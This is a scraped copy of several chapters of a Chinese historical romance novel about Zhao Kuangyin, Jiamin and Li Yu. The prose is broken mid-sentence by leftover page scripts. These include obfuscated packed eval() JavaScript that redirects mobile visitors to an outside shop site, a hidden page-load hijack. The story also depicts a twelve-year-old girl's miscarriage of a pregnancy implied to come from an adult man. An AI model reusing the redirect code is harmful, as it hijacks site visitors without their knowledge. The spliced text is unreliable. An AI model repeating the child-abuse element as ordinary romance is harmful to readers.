嘉敏全身发抖,看起来似是伤心过度,可只有自己知道是因为害怕,在母亲的一声声催促和姐姐等待的眼神中,张口缓缓说道:“我与赵哥哥盟誓在先,周家要再送一人进宫继任皇后之位也未必非我不可……姐姐……对不起了……” “你……”周娥皇惊怒而起,抓住她的衣袖扬手想要打下去,却听赵匡胤一声怒喝:“你动手试试!”人已闯入,把嘉敏拉过来抱进怀里。 周夫人大惊,慌忙令仆婢挡在大女儿床前,骂道:“好一个莽夫,胆敢私闯太子妃娘娘闺阁,你是何居心?” 虽说于理不合,可此刻能够见到他,周娥皇心底竟暗暗有一丝窃喜,颤声道:“娘,莫再说下去了,我一个将死之人还能有什么忌讳?” 赵匡胤本非心如铁石之辈,可此刻对周娥皇母女除了愤恨之外也只剩下厌恶,横了她一眼冷冷道:“周娘娘红颜薄命的确可怜,可在赵某眼里你还不如一个死人,死人至少害不了人!” 听着曾经默默心许之人说出这等话,周娥皇大受刺激,捂着心口问道:“你只知道护着嘉敏,难道对我半点怜悯也没有吗?”'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 赵匡胤冷冷道:“我对你没有怜悯,只有恨意,周娥皇,你这是个可恶的女人,我这辈子都不想再看见你!”言罢抱着嘉敏头也不回地离去。 周娥皇看着他的背影,满脸泪痕,张口吐血不止。 周夫人心下大恸,泣道:“娥皇,明明不是你害的嘉敏,你为什么要让娘这么说呢?眼下赵匡胤恨毒了你,于你有何好处?” 周娥皇气息奄奄地躺在床上笑道:“他恨我……恨我就好……恨我……就不会那么容易忘记我……” 其实当日她请妹妹进宫,赏下衣饰全然是出于姐妹之请,并不曾存心算计。 只是后来事情已经发生,怪谁都于事无补,干脆交代母亲对外就说是自己授意的,这样母亲大约能少受些父亲的苛责,而自己偷偷喜欢的那个人多半也会一生记恨她。 “真好——”周娥皇瞪眼看着头顶幽幽道:“娘,送女儿回宫,让女儿好好的死在皇宫里……死在从嘉面前……” 周夫人含泪点头,亲自动手来搀扶她。 彼时正值秋分前后,恰逢“木犀蒸”,天气很是闷热,周娥皇却是遍体生凉,衣裳也已换成了早已准备好的白色丧服,斜倚在床榻上。见李煜来了,倒并不如何悲伤,嫣然巧笑,依旧是那般温柔多情。 李煜含泪将她抱住,结缡十载,他纵然是个多情的男子,可对发妻的爱也全然出自真心。 周娥皇此刻躺在他怀里才突然了悟这个才子夫君才是自己唯一的倚靠,不禁暗暗落了几滴泪,“听说御花园的木犀花开了,从嘉再带我去看一次好不好?” 李煜轻颔首,将她抱起来出了瑶光殿,缓缓朝皇宫东面的花园而去。 金风催蕊,玉露零香,行走在花树下,鹅黄的桂花犹如一阵艳雅金雪纷扬扬洒下来,鼻息间尽是馥郁香气。 周娥皇抬手接了些许桂花,凄然笑道:“我生在这一日,怕是也要葬在这一天吧!” “娥皇……”李煜闭目泣道:“你真的忍心这般弃我而去么?” 周娥皇摸着他的脸颊,亦禁不住涕泣涟涟,颤声道:“当年你我新婚燕尔,两情相悦,《归妹》卦说我们会白头偕老,《咸》卦也说你我情意殷切俯仰同心,乃是再好不过的爱侣,为何预言竟不准呢?” 两人贴着额头相对而泣,李煜只觉心碎神摧,喃喃道:“娥皇,你带我一起走吧!” 周娥皇咬牙摇头道:“我自福薄,君岂可如此自弃?莫忘了我们还有一个可怜的孩儿需要你这个爹爹的照拂?你贵为将来的国主,教养孩儿一事也需后宫娘娘襄助。从嘉,我有一事相求,你可不可以答应我?” 此刻的李煜哪里还有不应允之理,张口便道:“不管是什么事,我都答应你!” 周娥皇呼吸渐转急促,断断续续道:“我要你答应我……将来立谁为后都好……就是……不能立嘉敏……不要……接她进宫……” 李煜大惊,睁开眼,想起婉丽娇俏的嘉敏,一时竟说不出话来。 原本周娥皇此语乃是有意成全赵匡胤和嘉敏,可见丈夫竟不能应允她临死前的请求,心绪登时如那被揉碎的娇花一样,对妹妹生出一股无法抑制的恨意,惨然道:“也罢!反正你们早背着我暗通款曲,我一个死人又怎拦得住你们活人想做的事?可你至少不要让她到我的灵堂上跪拜,活着的时候她这般气我,死了总该让我清净吧!如果她一定要祭拜,就让她一个人跪在外面好了!” 27.重按霓裳 “木犀蒸”过后,桂花盛开,以往这个时候江南的男女老幼都会在花间畅游,“木犀市”要持续而是天才停歇,可今次遇上国丧,朝廷即下旨取消了。 周娥皇香消玉殒,太子李煜悲不自胜,亲手撰写了一篇文采斐然情辞哀婉的诔文,民间一时传为绝响。 “呜呼哀哉,木交枸兮风索索,鸟相鸣兮飞翼翼。吊孤影兮孰我哀,私自怜兮痛无极……” 时人怜太子痛失爱妻之殇,多有恻然同悲者。 嘉敏随着周家人入宫拜祭姐姐,李煜守在灵堂前,突然下了一道旨意,命嘉敏不得踏入灵堂,只许她跪守在门外。 听宫人的意思此乃周娥皇临终前的请求,大约是无法原谅妹妹。 赵匡胤听罢便要发怒,被周宗拦下悄声道:“你若还想带嘉敏离开,就在一旁看着吧,小不忍则乱大谋,别节外生枝!” 嘉敏伤病未愈,虽知跪守灵堂之外的惩罚会沦为笑柄,亦无可奈何。 可赵匡胤哪里容她受如此屈辱,待她叩拜之后便上前道:“嘉敏,你姐姐早亡非你之过,就算她去世之前仍旧不肯原谅你,那也只能是她自己没想通。你不是没人爱护的孤弱女子,若因此便教你受这般苦楚,赵哥哥是不会答应的!就算这世间没有人疼你了,你还有赵哥哥,我带你回去好不好?” 嘉敏跪守在门外,令来往之人频频侧目,自是如芒在背,胆怯地点头,又哭出来。 回去的路上有听了些闲言碎语,皆言嘉敏年纪虽轻却狐媚惑主,勾引自己姐夫,害姐姐死不瞑目,伤风败德丢人现眼,迟早要遭报应之类。 赵匡胤心下不由愤慨:那李煜仗着会写几篇花团锦簇的文章,将那件败德之事尽数推到嘉敏一个女孩儿身上,还教她承受这等屈辱。若非顾忌后果,他怕是要当场冲进灵堂将其活剐,而今只能暗暗忍着,思来日再雪此恨! 好不容易熬到送葬,嘉敏依旧被赶在最后面,不许接近灵柩。 皇宫距离陵寝颇远,她脸色煞白徒步走了一路,半道上就昏迷过去,被赵匡胤抱去一处道观休息。 陈抟老祖正盘桓在此,施了几根银针,嘉敏悠悠转醒过来,抱着赵匡胤的脖子茫然失措。 这些时日她所受的磨难不可谓不多,此刻也说不出什么话来。 陈抟老祖对所有的事了如指掌,一边收拾着银针低头问道:“赵公子是决意要带二小姐北返么?” 赵匡胤抱着嘉敏沉声道:“想想最近发生的一切,难道我还能将嘉敏留在这里吗?” 陈抟老祖手一滞,悠然道:“恕贫道直言,如今的情况并不乐观,你的情敌乃是将来的江南国主,想要平安带走二小姐,只怕难如登天。” 嘉敏昏昏沉沉的,倒也听明白了他在说什么,只是默不作声,而今的金陵她又哪里待的下去? 赵匡胤半点惧意也无,冷冷道:“我与嘉敏早已签下婚书,无论如何非带走她不可。不管阻拦者谁,我自与他刀兵相向,也不妨试试他们南唐的人够不够能耐拿下我赵匡胤!” 陈抟老祖叹息:“我知劝不动你,说了也白说。不过你可别低估了李煜对周家的影响,他毕竟是太子。再则宫中传言其实周大小姐在去世之前是乞求李煜不要立二小姐为后,却被他拒绝了,所以她才死不瞑目。不过这也是个明显的讯号,李煜想来是非要二小姐不可。二位,以贫道愚见,大动肝火这种事情还是谨慎一些的好,不然牵连甚广,说不定会害人害己得不偿失啊!” 此话嘉敏倒是听进去了,若她执意离开,只怕周家和赵匡胤都将遭遇不测,想了片刻甚觉头痛,又干脆睡过去。 丧仪结束返回金陵,在街上碰见了来送聘礼的石守信等人,个个面色凝重,已经从市井中听了非常不好的传言。 赵匡胤抬手,示意他们不必问。 只这片刻工夫,嘉敏见路人一直对自己指指点点,一时好奇就离开赵匡胤身边,想听听他们到底在说什么。 市井之流的一张嘴自来不辨是非,人云亦云,再加上李煜那些传出来的词作和文章,人人皆指着她议论纷纷:“丢人现眼……恬不知耻……勾引姐夫气死姐姐……淫邪放荡风流下贱……” 嘉敏面色煞白,不自觉摇头辩解:“不是这样的……不是这样的……” 可她声音又小,怎敌得过众口铄金?整个人摇摇欲坠,感觉头都快要裂开了。 石守信怒吼一声:“你们在说什么?”带着兄弟们当街暴打那群无聊的围观者。 嘉敏大哭着跑开,这些天她一直关在家里,全然不知自己已经成为了全城人口中那个无耻下贱的女人,可她没跑多远就摔倒了。 赵匡胤抱她在怀,听她嘴里一直不停哭喊着:“不是这样的……不是这样的……”也自红了眼,沉声道:“嘉敏别哭了,我去杀了他!” 嘉敏只觉全身都麻了,闭目涕泪,已然心如死灰。 回到周家,丧仪的后续事务尚未处理妥当,宫里突然传出旨意,要嘉敏在七日之内抄写一百遍《金刚经》以赎其罪。 赵匡胤那帮兄弟差点把传旨的人给砍了,被其拦下,在宫人走后上前道:“此间事已了,我打算现在就带嘉敏启程,不知岳父大人意下如何?” 周宗见嘉敏连日来不停的遭受折磨,也已心灰意冷,点头道:“这《金刚经》谁抄都是抄,你和嘉敏还是早些离开这个是非之地的好。” 周夫人听罢却慌张道:“嘉敏啊,你姐姐尸骨未寒,这《金刚经》乃是为她祈福,助她早登极乐,死者为大,你不会连这点小事都不愿意为她做吧!” 嘉敏已无精力做任何事,听着母亲一再催促,耳边不由响起市井人对她的谩骂,无声堕泪,木然道:“是,娘,女儿抄经赎罪!” 赵匡胤心痛不已,捧着她的脸颊禁不住道:“嘉敏,这些都是他人的过错,你有何罪可赎?我们现在就离开这里!” 嘉敏哭着摇头道:“我不想给爹娘还有周家带来麻烦,等抄完一百遍经就离开。赵哥哥,再等一等我,好不好?” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 纵然有万分不愿,可赵匡胤哪里受得了嘉敏的哀求,只能咬牙答应下来。 抄经需心诚,故而嘉敏被锁进了闺房,身边只有母亲和秋芙,没日没夜的抄着那一百遍《金刚经》。 赵匡胤放心不下,总是守在外面,每夜直到她房里的烛火熄灭才去就寝。 周宗见他二人如此辛苦,不由悲从中来,趁夜拉着他在庭中饮酒。 “听宫里传出来的消息,太子自觉做了对不起娥皇的事,自己也在彻夜抄经呢!想着大约两个人一起赎罪,过段时间成亲的时候心里就能安稳一些。”周宗喝的有些醉了,一时没忍住什么都说,“我可怜的女儿,她究竟为什么要遭这等罪?” 赵匡胤的心绪比他好不了多少,勉强劝解道:“岳父切勿太过伤怀,今后我一定会好好待嘉敏的!” 周宗颔首拭去老泪,“让匡胤见笑了!我也实在见不得嘉敏再留在这里受罪,等她抄完经书,你马上带她走,趁夜走,以免被她娘又使手段拦下来。太子那边,我就说嘉敏重病,被一个老神仙带走,出家做了道姑,教他以后也别再惦记着了。” 左右思量无法,大约也只好来这一招金蝉脱壳了。 二人在月下沉吟半晌,嘉敏突然在闺房中一阵惨呼,声音撕心裂肺,听的赵匡胤汗毛直竖,也顾不得什么礼教道德,立时闯进去。 却见嘉敏倒在地上蜷缩成一团不停地抽搐,大声哭喊着救命。 赵匡胤慌忙上前将她抱住,大声道:“嘉敏别怕,赵哥哥在这里,你不会有事的!不会……” 鲜血洇湿了裙子,在烛光下显得格外诡异。 “好疼……”嘉敏哭喊着,大颗的眼泪把整个脸颊沾湿,又开始不停地惨叫,似乎只有这样才能缓解疼痛。 “去……去叫大夫……快去呀!”周宗似已瞧出了什么,强忍着不曾昏厥,对闻声而来的儿子周宏大吼。 赵匡胤抱紧嘉敏的头,闭目泣道:“别怕……很快就没事了……没事了……” 可他哪里知道会不会有事,一个十二岁的小女孩究竟能不能受得了这种罪? 嘉敏似乎疼的没了只觉,额头滚烫,血流不止,没一会儿昏睡过去。 大夫来看过之后无奈摇头:“二小姐年纪尚轻,不堪忍受妊娠之苦,再加上这些时日为姐姐守孝太过辛苦,是以滑了胎。她身子原本娇弱,此番不得不说很是凶险,需好好养着才是。”言罢叹息几声下笔写药方。 嘉敏半睡半醒的,倒是把话全都听进去了,睁开眼虚弱地问:“是孩子没了吗?好奇怪,我怎么会有孩子,那不是大人才会发生的事情吗?” 赵匡胤痛心不已,握着她的手放在唇边咬紧牙关无声落泪。 “赵哥哥,你的眼泪好烫!”此刻嘉敏反倒不想哭了,感觉身体好虚弱,像一团棉花。 周夫人匆匆忙忙跑进来,大声道:“嘉敏,娘去宫里请太医来给你看诊,事情太子已经知道了,他说马上接你进宫,封你当娘娘。你不要怕……不要怕啊!” 28.明夕何夕 她不吼还好,一吼之下满屋子的人都像遭了雷劈似的看着她。 周宗直气的差点背过气去,抓住她的手臂恶狠狠道:“你……跟我出来!” 被强行拽出去之际,周夫人犹煞有介事地回头安慰:“嘉敏,你别怕,一切有娘在……” 床上的嘉敏又抽搐起来,感觉快要断气了一样。 周宗对这个糊涂夫人似乎已经彻底没了脾气,忍着头痛吼道:“你去宫里做什么,是不是非要嘉敏死你才开心?” 周夫人不甘示弱振振有词:“我还不是为了嘉敏好?她都已经这样了,那赵匡胤还会要她,还能要她吗?嫁给太子非但能当将来的皇后,她的名节也能得以保全,这不是两全其美么?” 周宗简直气到发疯:“两全其美?美的是你自己吧!嘉敏和匡胤多好的一对,你死活要拆散他们。那李煜对嘉敏做了什么,明明过错是他犯下的,罪却要嘉敏来赎。现在女儿连命都快没有了,你却还执意要将她送到那个欺辱了她的男人身边,真的以为她是你养的阿猫阿狗,随你处置,任你宰割的么?娥皇和嘉敏,两个女儿都是你的心头肉,我无法去否认你为她们所做的一切,可是夫人呐,嘉敏这一生算是被你给毁了,毁的彻彻底底。看她这么遭罪,我宁可……宁可她死了算了……” 周夫人两腿一软后退几步,难以置信地瞪大双眼颤声唤道:“老爷……你的意思是嘉敏落到今天这个地步是我害的了?” “难道不是吗?”周宗冷冷道,似乎这是个再明显不过的事实。 周夫人含泪点头,恨恨地道:“好!你说是我害的便是我害的,所有的罪孽都是我造成的,这样你可满意?” 周宗涕泗横流,扶额叹息道:“我周家家门不幸,家门不幸啊!竟出了这样一个当家主母……” 周夫人面色煞白,怔了片刻突然仰头大笑:“家门不幸?你以为如今嘉敏身上发生的一切,责任全都在我吗?如果我告诉你,真正策划这件事的人是娥皇,你会怎么想?又该怎么想?” 周宗登时僵住,失魂落魄地问:“你说什么?” 周夫人冷笑站到他面前嘶吼:“害嘉敏的不是我,是娥皇!是你的宝贝大女儿娥皇!你没想到是不是?她在那深宫里待了十年,早已经不是当初温柔善良的周家大小姐了。仲宣之死,旁人都说是个意外,娥皇不信。她身子原本就弱,又害怕连仲愚也被害了,于是就想找个人替她护住仲愚,你说还会有比嘉敏更合适的人选吗?” 这些话自然是故去的娥皇教母亲说的,以平父亲的怒火。 “这件事……是娥皇做的……”周宗声音颤抖,想着自己的夫人纵然糊涂了些,却对女儿爱如珍宝,断然不会在她尸骨未寒之时,将这等罪孽推到她身上去,一时连心也麻了。 如果真的是娥皇,他还能怪她吗?又怎么去怪? 周夫人也没了力气,低头泣道:“一开始她只是向我提了一下,我虽然吃惊,心下却认为这门婚事着实不错。至于赵匡胤,我也确实有几分瞧不上,可毕竟嘉敏喜欢,于是我就偷偷派人去洛阳查探一下赵家的底细,你猜猜都查到了什么?” 周宗皱眉道:“此事我也留意过,匡胤家世清白,父亲在北朝当武将,官职不高,算不得什么高门大户,母亲是前朝太师之女,为人颇为严厉。” “他的母亲何止是严厉?”周夫人正色道:“那赵家规矩大,听说她家的媳妇只能待在后宅,连出去街上买二两白砂糖就要被罚跪祠堂,平日里家中饮食都要媳妇亲自下厨去做,一应洒扫浆洗事务也需媳妇亲力亲为,说是赵家家贫,雇不起多少仆人,要节俭度日。所以赵家的媳妇一直都和下人干着一样的活,就为了省些银钱。” 周宗暗惊:“竟有此事?” 周夫人闭目叹息:“老爷,我们的嘉敏自小娇养闺中,平日里偶尔下厨做几道菜我都会心疼半日,怕她热怕她苦,要我把她送到那赵家受罪,你教我如何点头?” 周宗是个儒者,自然知晓“孝”之一字的威力,若嘉敏嫁去北朝,势必要做一个贤孝的媳妇,而赵匡胤常年征战在外,又能回护她多少?想到这里不由冷汗涔涔下落,也不得不承认夫人的考量才算完备,吞吐道:“我去找匡胤说,他母亲不喜欢他,就更加不会喜欢嘉敏,要他单独置一处宅院另住……” 说了一半就此打住,高堂仍在,辟屋别居乃是大逆不道,此事怎可行? 两人合计了半晌,依旧不曾达成共识。周夫人遂不再多言,自己做了这么多,恶名也担了,结果如何随它去吧! 不过周宗所料倒也准确,宫里送来的李煜亲笔信非但不曾宽慰嘉敏之心,反而成了她的催命符,她拒绝了一切饮食汤药,连水也不肯喝一口,就算是赵匡胤也劝不动,反倒听她说了一些喻意很不好的话:“赵哥哥,做你的妹妹是件很开心的事情呢,嘉敏好想这辈子都做你妹妹,下辈子也是!” 是妹妹,不是妻子!嘉敏大约是在自我厌弃了。 赵匡胤怔然不语,一个心如死灰的嘉敏比任何时候都令他感觉到痛苦和压抑,他想不出办法,转身走出去,不停地用拳头砸自己脑门。 兄弟们瞧着难受,抓住他的胳膊劝他冷静下来。 赵匡胤倒是真的不动了,也想到了办法——凡事有因才有果,断了它的因,自然就不必再承担果了。 谁害了嘉敏他就去找谁报仇,管他是江南太子还是哪一个国的皇帝,该死之人还是趁早去投胎的好! 只是这件事却不想任何一个兄弟插手,入皇宫行刺风险太大,何况这是他的私事,理应由他亲手决断才是。 于是借口想要清净一些,独自回房取了兵刃,趁无人注意于黄昏时悄悄出了周府的门。 “赵公子——此举风险太大,是否再考虑考虑?”陈抟老祖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954399|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从墙角转出来,嗓音直如暮色一般轻淡悠远,似是对自己的规劝不抱有什么希望。 赵匡胤没有回头看他,淡淡道:“当初许我与嘉敏有缘之人是你,而今劝我放弃之人亦是你。道爷,赵某身无长物,唯独重情,嘉敏于我而言,乃是最重要之人,此生就算不能娶她,也绝不看着她遭受无尽痛苦,李煜非杀不可!” “那李煜命不该绝,你去了不会成事的,说不定还要搭上一条性命。”陈抟老祖依旧想说动他回头。 只是赵匡胤心意已决,哪里会听劝?连只言片语也未曾留下,提着枪就走了。 陈抟老祖只得大声道:“若此事不成,记得去城北的福济观寻我,我自保你周全!” 他的声音颇大,连周宗也惊动了,更何况赵匡胤的那些兄弟。 石守信等人追出来,沉声问道:“道爷,见到我大哥没有?就是一条很俊俏又英武的汉子!” 陈抟老祖朝皇宫的方向指了指,随意道:“他进宫杀江南太子去了!” 石守信听罢竟也不如何意外,回头问兄弟们道:“我等跟随大哥多年,早已与他生死与共,如今大哥去手刃仇人,有不愿意去的吗?” 余下几人对视几眼,王审琦道:“我等岂能让大哥孤身犯险?别瞎耽搁功夫了,追上他要紧!” 见一行人就这么毫不犹豫地追上去,陈抟老祖挑了下眉毛,绕到前门去拜见周宗,寥寥数语差点连周家的屋顶也给震翻了:“赵公子和他的一帮兄弟去杀太子了,周大人,你要是再去晚一些,这南唐的国祚可要提早断绝了!” 宫中正在为逝去的周娥皇做法事,僧侣齐聚吟诵菩提梵音。李煜形销骨立,跪在香案前焚烧着冰绡罗裳,都是制衣局夏季赶制的,只是还未来得及穿,佳人已逝。 世人皆传言李煜对周娘娘情意深重,赵匡胤不懂,既然如此,他为何还要去招惹嘉敏? 虚伪! 赵匡胤怒骂,横挑几枪,削断四下的桂花树,枝枝桠桠飘洒满院。有树影遮挡,旁人也瞧不见他,而他早已牢牢盯死了李煜的位置。 长枪破空袭来,原该一击即中,却有一高僧挡在李煜身前,浩然真气贯于双掌之间,夹住他的兵刃。 赵匡胤喝道:“我不杀出家人,让开!” 高僧双目炯炯有神,念了一声佛号道:“施主为救苍生而来,江南太子你杀不得!” 赵匡胤一时怔住,这话他从陈抟老祖口中也不止听到过一次,佛道两家究竟是出了些什么高人,一再出现在他身边耳提面命? 刺杀之事错失良机便再难功成,李煜被人护送着离开,御林军围杀过来。 赵匡胤尚自失神,背后一把长刀朝他劈下来。 周府中,嘉敏突然惊醒。 陈抟老祖守在床前慢悠悠地道:“周二小姐,你再这般一心求死,那赵公子可要折在这金陵城里了!” 29.动如参商(上) “大……哥……”石守信趴在背上替他挡刀,一张口嘴里全是血。 赵匡胤惊慌之下已顾不得去杀李煜,兄弟十人全都暴露在南唐护卫的刀影之下,眼下脱身要紧,思虑着咬牙背起石守信准备拼杀出去:“守信,大哥对你不住,你若死在这里,大哥一辈子于心难安,你可明白?” 石守信艰难点头:“兄弟不死就是了!” 率军阻拦他们的正是周宗,他拔刀上前与赵匡胤斗了两个回合,小声在他耳边道:“北边守备空虚,走——” 一行人遂自北门逃出皇宫,所幸赵匡胤脑筋还算清醒,想起陈抟老祖叮嘱的话,带着兄弟们躲进城北道观。 石守信受的这一刀着实沉重,陈抟老祖替他止血缝合,足足费了一个多时辰,人也早疼晕过去了。 赵匡胤对自己造成此等局面懊丧不已,没救得嘉敏出苦海不说,反倒连累了兄弟。 想到此番来金陵本是要迎亲,如今却瞧着嘉敏一身伤痛前途未知,当真好生揪心痛苦。 转身跑去院中透气,仰头暗自叹息:“这世事怎会如此无常?” 陈抟老祖跟着出来,思虑片刻上前道:“你今晚碰见的慧明大师乃是清凉寺主持,皇宫做法事他本不必亲去,撞上他纯属偶然。赵公子,此乃天意!” “天意?”赵匡胤冷笑:“天意教我赵匡胤痛失所爱带累手足么?” 陈抟老祖摇头道:“这江南太子不过是贪慕美色而已,罪不至死,你动他原本就有违天道。再说老道之前也提醒过你说不定会搭上一条性命,照而今的情势看,你再想带走周二小姐,难如登天呐。兄弟的命和周二小姐的情,孰轻孰重,我想你心中自有计较。” 今晚发生的行刺之事,朝廷必定会全城戒严大肆搜捕,赵匡胤一行人能否安然撤离金陵尚未可知,此刻还想带上嘉敏一起,直如痴人说梦。 思虑良久,只觉头痛欲裂。 陈抟老祖看着他说出了一番意味深长的话:“明日周二小姐会来,不出意外,太子也会来,你想做什么都有机会。” “嘉敏……嘉敏来做什么?”赵匡胤茫然不解,心下有些不好的猜测:“连李煜也要来,难道是约好的?” 可是嘉敏约他做什么? 只是陈抟老祖却没有再多说,留他一人守在门外,烦忧苦恼无可排遣。 夜雨三更,芭蕉叶上的水珠滴滴答答的很是恼人。 赵匡胤皱紧眉头,倚着廊柱歇息,不多时迷迷糊糊做起了梦。 梦里不知去了何处玉殿金楼,拾级而上,宫苑中开着一池娇艳的粉红荷花。 眼前有一支开的最美,他走近,却自那花中看见了嘉敏的脸。 正想抬手去摸,花朵突然被一个不知道从哪里出现的人折去,他伸手想要抢过来,却被一股强劲的风从九天宫阙直吹下来,过了很久也不曾着地,直到自行惊醒过来。 天快亮了,赵匡胤忆起昨夜陈抟老祖所说的话,想着嘉敏今日会来,去水井边好好洗了把脸,省得教嘉敏看见自己疲惫不堪的模样。 脚门边已经出现洒扫小道士的身影,谨慎起见,赵匡胤迅速闪身回到兄弟们藏身的密室里。 石守信的刀伤至少需养上七日才能行动,也不知道他们在此能隐藏多久。 又过了一个时辰,陈抟老祖送来早膳,低声对赵匡胤道:“周二小姐已经来了,在厅堂坐着,你可出去看看她。切记,不可露面!” 赵匡胤听罢匆匆走出去,想要见嘉敏,却被一墙阻隔,只能在五尺外的地方看着她。 见她身子益发单薄了,梳着好看的发髻,用脂粉遮掩病容,却眉头深锁,满脸阴郁之色。 赵匡胤几乎要现身,被陈抟老祖按住肩膀。 由他冷静片刻,陈抟老祖独自走出来,向嘉敏点头示意。 嘉敏起身缓缓走过来,抬手摸着那堵墙,尝试了很久才发出声音:“赵哥哥,我……不能嫁给你了……” 赵匡胤乍然抬眸,如坠冰窟,好像瞬间明白过来为何嘉敏要将李煜约来此处。大约是想了断了这段情缘,却又不想他稀里糊涂,干脆让他做个旁观者把一切理清楚。 或者还有另外一种可能——杀了李煜,埋葬兄弟…… 可他又如何做的出来? 千头万绪将他紧紧裹挟,闷到喘不过气,听见嘉敏将额头抵着墙哀哀哭泣,心下一阵揪心的疼,却也无计可施。闭上眼,额头和她碰触同一面墙壁,无声堕泪。 和预想中差不多,李煜来时身边伴着慧明大师,嘉敏哭红了眼,仍旧不失礼数恭敬地向他叩拜。 李煜慌忙扶起她,瞧着那憔悴的面容蹙眉道:“嘉敏,我知道这段时间你受了很多委屈,且再忍忍,过些时日我就接你进宫,也就再也不会有人对你无礼了。” 嘉敏低眉垂眼轻声道:“谢太子!只不过我想这两日就进宫去,不知太子是否应允?” 此言一出,连赵匡胤也惊了,已然明白了嘉敏的意图,拳头越攥越紧。 而李煜纵然多情,却也十分为难,解释道:“娥皇去世还不足一月,这个时候接你进宫怕是不妥,你再多等一段时日可好?” 嘉敏也不为难他,点头道:“无妨,我也不是非嫁给太子不可。爹爹说了,如果今日事不成,便让我随着陈抟老神仙去,做个女冠,远离红尘修行到老。我今日便将这钗环卸下,望太子回去也好生与皇后娘娘交代,莫因此事怪罪我爹娘,怪罪周家。”说罢竟真要抬手取发簪。 李煜见状不免心急,忙抓住她的手道:“嘉敏莫要如此,容我想想……容我想想……要不先接你入宫住着,过段时间再……” 嘉敏毫不客气地道:“想来我是只配和姐夫偷偷摸摸了,连嫁娶之事也一样见不得人!” 话中已有遮掩不住的怨怼,李煜犹豫半晌叹息道:“也罢,我已负了娥皇,便不能再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977501|143156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 负你!回去以后会尽早安排,半月之内我将以正妻之礼迎你进宫。不管世人如何议论,以后都有我和你一起面对!” 嘉敏泪落如雨肝肠寸断,李煜以为她是心中欢喜,想要抬手替她擦去眼泪,却被她侧头避开,哽咽道:“若太子已经决定了,或可回宫提早做准备。我想在这道观中清修几日,也好将养身子。” 李煜点头:“的确有许多事需要安排,我这便回宫去。”说着按住她的肩膀,抬手擦她的眼泪柔声道:“嘉敏,答应我一定要好好的等我来接你,我保证不会太久!” 嘉敏无奈,闭目点头。 李煜离去之后,道观便由周家带人把守,朝廷搜捕的军队自然不会进出此处。 赵匡胤合计了一番,便知大约是陈抟老祖和周宗合谋定下的计策,而嘉敏为了救他们脱困,步步配合,才造成了眼下的形势。 四下安排妥当,嘉敏方入内室与他相见。 经过这场变故,二人都有些不知所措,只是相拥在一起,默默流泪。 见她哭的厉害,赵匡胤心疼不已,安慰道:“嘉敏别怕,七日后我带你走,只需要到扬州,到了扬州就没事了。” 彼时周军早已占了淮南,离开金陵到达扬州的确就可以安然无忧。 嘉敏欲言又止,可却不说出口,只是哭着点头。 两人只相聚了片刻,秋芙来报周夫人搬来了道观陪女儿,万般无奈之下又匆匆分开。 嘉敏为了不露破绽,换上一身女冠的装束随着陈抟老祖打坐清修。 周夫人虽未瞧出什么端倪,却终觉此事太过怪异,原本一心求死的女儿竟然一夜之间想通了,还主动要嫁给太子,这中间若非发生了什么,又怎会转变如此之快? 思来想去终是不放心,干脆搬来道观,日夜守在女儿身边,不敢有丝毫懈怠。 嘉敏被她看的太严,连找借口独处的机会都没有,更别说与赵匡胤见面。 几日下来,两人愣是没有办法凑到一起去,直到第七日黎明在水井边,赵匡胤抓住她的手小声道:“我们现在离开!” 嘉敏正不知如何诓骗母亲,周夫人已经追过来,看见赵匡胤,本想大叫出声,却被对方一掌切在脖子后面,仰面昏倒在地。 虽说不忍母亲这般,可嘉敏此刻也不好多说什么,听从赵匡胤的安排,易容改装扮成一个男子,跟随着大周在金陵的暗探组成的贩运米粮的商队无惊无险地出了城,而后换乘快马一路奔至扬州。 众人见已脱险,皆松了口气,路上还说说笑笑讨论着何时给大哥和嫂子办婚事,只是嘉敏一直低着头不说话,好像心思颇重。 彼时的扬州城六合以北归周,以南归唐,南城守将正是嘉敏的哥哥周宏。 因赵匡胤等人长期与驻守扬州的唐军打交道,故而认识他们的人颇多,再想隐瞒身份怕是不能了,更何况此刻还有一人一脸担忧之色站在城楼上看着他们。 30.动如参商(下) 策马入城后,赵匡胤走的极慢,周宗没有上前打扰,却一直不远不近的跟着。 走到瘦西湖边,湖中正有江南游女划着莲舟采莲,轻歌曼舞语笑嫣然,像极了曾经天真烂漫的嘉敏。 湖边还有一个捕螃蟹的老翁,蟹篓装的满满的,背起来准备拿到集市上去卖,一边乐呵呵地吟唱着南国小调。 南朝人风雅,连个老翁也能随口吟出十分绮丽柔艳的歌词,倒是不得不教人叹服。 “嘉敏,你想不想吃螃蟹?”赵匡胤突然问。 众人面面相觑,不知他为何到了这个时候还有心情吃螃蟹。 嘉敏泪汪汪的点头,忆起多年前赵匡胤送自己回家时也曾在路上买螃蟹给她吃,他原本不爱此物,因那蟹肉实在难拆,却因着自己变成了一个拆蟹高手。 赵匡胤遂抱着她下马,跟着那老翁来到集市上买螃蟹煮来吃。 